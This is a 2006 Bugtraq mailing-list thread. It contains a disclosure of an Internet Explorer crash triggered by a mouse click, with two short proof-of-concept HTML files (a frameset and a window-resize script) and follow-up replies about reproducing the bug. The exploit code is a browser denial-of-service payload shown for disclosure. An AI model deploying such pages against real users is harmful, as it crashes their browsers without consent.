Sorry, the bug is perfectly reproducible. I skipped clicking the mouse
after loading the page.


- Siddhartha


-----Original Message-----
From: Jain, Siddhartha=20
Sent: Tuesday, May 23, 2006 12:18 PM
To: 'mac68k@gmail.com'; bugtraq@securityfocus.com
Subject: RE: Microsoft Internet Explorer - Crash on mouse button click

Worked only once on my PC.=20
Windows XP SP2 with IE 6.0.2900

Re-visiting the PoC page doesn't reproduce the crash.


- Siddhartha
=20

-----Original Message-----
From: mac68k@gmail.com [mailto:mac68k@gmail.com]=20
Sent: Saturday, May 20, 2006 6:24 AM
To: bugtraq@securityfocus.com
Subject: Microsoft Internet Explorer - Crash on mouse button click

Title:

Microsoft Internet Explorer - Crash on mouse button click


Author:

Kil13r - http://www.kil13r.info/


Local / Remote:

Both


Date of discovery:

2003/12/28


Release date:

2006/05/20


Affected software:

Microsoft Internet Explorer


Description:

There is a bug in Microsoft Internet Explorer, which causes a crash on
mouse button click.


PoC exploit code:


1) exploit_1.html

<frameset cols=3D"0%, *">

<frame src=3D"exploit_2.html">=20

</frameset>


2) exploit_2.html

<SCRIPT>

self.resizeTo(2003, 1228);

</SCRIPT>


PoC exploit sample:

http://www.kil13r.info/iebug/exploit_1.html


PoC exploit screensh

http://www.kil13r.info/iebug/screenshot.jpg